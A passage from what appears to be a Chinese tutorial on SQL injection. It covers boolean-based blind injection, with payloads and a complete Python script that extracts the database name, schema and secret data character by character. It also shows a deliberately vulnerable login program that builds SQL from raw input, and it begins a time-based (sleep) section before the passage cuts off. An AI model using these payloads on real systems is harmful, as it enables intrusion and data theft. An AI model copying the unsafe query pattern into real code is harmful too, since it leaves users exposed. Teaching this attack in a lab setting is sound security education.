<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> if_false</span></span></code></pre></div><p>如果我们可以通过 <code>if</code> 语句来控制整个 SQL 语句是否查询成功,不就可以获取一些信息了吗?</p><p>当 if 语句为真时才将对应用户的密码查询出来,这样一来就能够通过用户验证,结果即为登陆成功</p><p>当 if 语句为假时则不将对应用户的密码查询出来,程序无从比对,也就无法通过用户验证了</p><p>有点抽象?没关系继续往下看。</p><p>构造语句 <code>Liki4' and if(@@version rlike '^5',1,0);#</code></p><blockquote><p>rlike 是 MySQL 中的一个关键字,是 regex 和 like 的结合体</p></blockquote><p><img src="https://cdn.xyxsw.site/boxcnJEeAKow3ZhUSvbL4FQXxOh.png" alt=""></p><p>这里实际执行的语句就变成了</p><div class="language-sql vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">sql</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">SELECT</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> password</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> FROM</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> users </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">WHERE</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> username </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> 'Liki4'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> AND</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(@@</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">version</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> rlike </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'^5'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">);</span></span></code></pre></div><p><img src="https://cdn.xyxsw.site/boxcnJ3jImTQcMUOWJclTACj74e.png" alt=""></p><div class="language-sql vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">sql</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">SELECT</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> password</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> FROM</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> users </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">WHERE</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> username </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> 'Liki4'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> AND</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(@@</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">version</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> rlike </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'^8'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">);</span></span></code></pre></div><p><img src="https://cdn.xyxsw.site/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png" alt=""></p><p>也就是说,当 if 语句中的条件为真时,这个查询才会将 password 查询出来</p><p>如果 if 语句为假,这个条件为假的查询就不成立,查询的结果也为空了</p><p>从上面这个例子里我们就可以得出当前 MySQL 为 MySQL 5</p><p>如此一来我们就可以通过枚举爆破得到数据库名,表名,列名,进而得到数据库中存储的数据了</p><p>其中关键的语句如下</p><div class="language-sql vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">sql</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">DATABASE</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">() rlike </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'^{exp}'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">) # 获取数据库名</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">((</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">SELECT</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> GROUP_CONCAT(table_name, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">':'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">, column_name) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">FROM</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> information_schema</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">COLUMNS</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> WHERE</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> TABLE_SCHEMA </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> DATABASE</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">()) rlike </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'^{exp}'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">) # 获取表名与字段名</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">((</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">SELECT</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> binary</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> GROUP_CONCAT(secret_string) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">FROM</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> secret</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">) rlike </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'^{exp}'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">) # 获取存储的数据</span></span></code></pre></div><p>完整 exp 如下</p><div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> mysqli_invisible_bool </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> *</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> string</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> io</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sys</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> escape_string</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(c):</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> return</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> +</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">in</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> ".+*"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> exp</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">():</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> payload_template </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "Liki4' AND if(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{exp}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">,1,0);#"</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> space </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> string.ascii_letters </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> string.digits </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> ' _:,$.'</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> exp_template </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "@@version RLIKE '^</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{c}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> exp_template </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "DATABASE() RLIKE '^</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{c}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> exp_template </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{c}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> exp_template </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{c}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(exp_template)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Flag </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> True</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> data </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> ""</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> while</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Flag:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> ori_stdout </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sys.stdout</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> space:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> payload </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> payload_template.format(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70;">exp</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">exp_template.format(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70;">c</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">data</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">c))</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sys.stdin </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> io.StringIO(payload </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> '</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">123</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> res </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sys.stdout </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> io.StringIO()</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> main()</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> output </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(res.getvalue())</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "failed"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> output:</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> continue</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">==</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "$"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Flag </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> False</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> break</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "success"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> output:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> data </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">+=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> c</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> break</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sys.stdout </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> ori_stdout</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> Flag:</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(data, </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70;">end</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">\r</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(data)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> __name__</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> ==</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "__main__"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> exp()</span></span></code></pre></div><p><img src="https://cdn.xyxsw.site/boxcnXyMaLh26lkNuAPiQVHuaNg.png" alt=""></p><h4 id="时间盲注" tabindex="-1">时间盲注 <a class="header-anchor" href="#时间盲注" aria-label="Permalink to "时间盲注""></a></h4><p>时间盲注的场景和原理与布尔盲注类似,都是在没有回显查询结果的时候使用的</p><p>能用布尔盲注的地方一般都能用时间盲注,但能用时间盲注的地方不一定能用布尔盲注</p><p>有的场景在完全没有回显,甚至没有能表示语句是否查询完成的东西存在时,时间盲注就派上用场了</p><p>这里可以直接沿用布尔盲注的场景</p><div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;">#!/usr/bin/python</span></span>
|
||
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D;"># -*- coding: UTF-8 -*-</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sqlalchemy </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> create_engine</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> hashlib </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sha256</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">engine </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> create_engine(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">, </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70;">max_overflow</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">5</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> query</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(username, password):</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> with</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> engine.connect() </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">as</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> con:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> query_exec </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> f</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"SELECT password FROM users WHERE username = '</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">{</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">username</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">}</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">'"</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(query_exec)</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> con.execute(query_exec).scalar():</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> passhash </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> con.execute(query_exec).fetchone()[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">]</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> passhash </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">==</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> sha256(password.encode()).hexdigest()</span></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> return</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> False</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0;"> main</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">():</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> username </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> input</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"Give me your username: "</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> password </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> input</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"Give me your password: "</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;">"Login success"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> query(username, password) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">else</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "Login failed"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">)</span></span>
|
||
<span class="line"></span>
|
||
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">if</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF;"> __name__</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> ==</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF;"> "__main__"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;">:</span></span>
|
||
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> main()</span></span></code></pre></div><p>如果想要让布尔盲注不可用,我们可以做一个假设,假设我们并不知道账户的密码,也就无法通过登陆验证,这个时候就失去了布尔盲注最大的依赖,也就无法得知 if 表达式的真或假了。</p><p><img src="https://cdn.xyxsw.site/boxcndxf4WEQQQEXspS7GwNKI6J.png" alt=""></p><p>但,真的没办法了吗?</p><p>在 MySQL 中存在一个延时函数 sleep(),可以延时特定的秒数</p><p>如果我们将 if 语句中的返回值改成延时函数会如何呢?</p><p>当 if 语句为真时进行一个延时,当 if 语句为假时即刻返回</p><p>于是我们就可以通过查询进行的时间长短来判断语句是否为真了!</p><p>完整的 exp 如下</p><div class="language-python vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark vp-code" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8;"> mysqli_invisible_time </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;">import</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583;"> *</span></span>
|
||
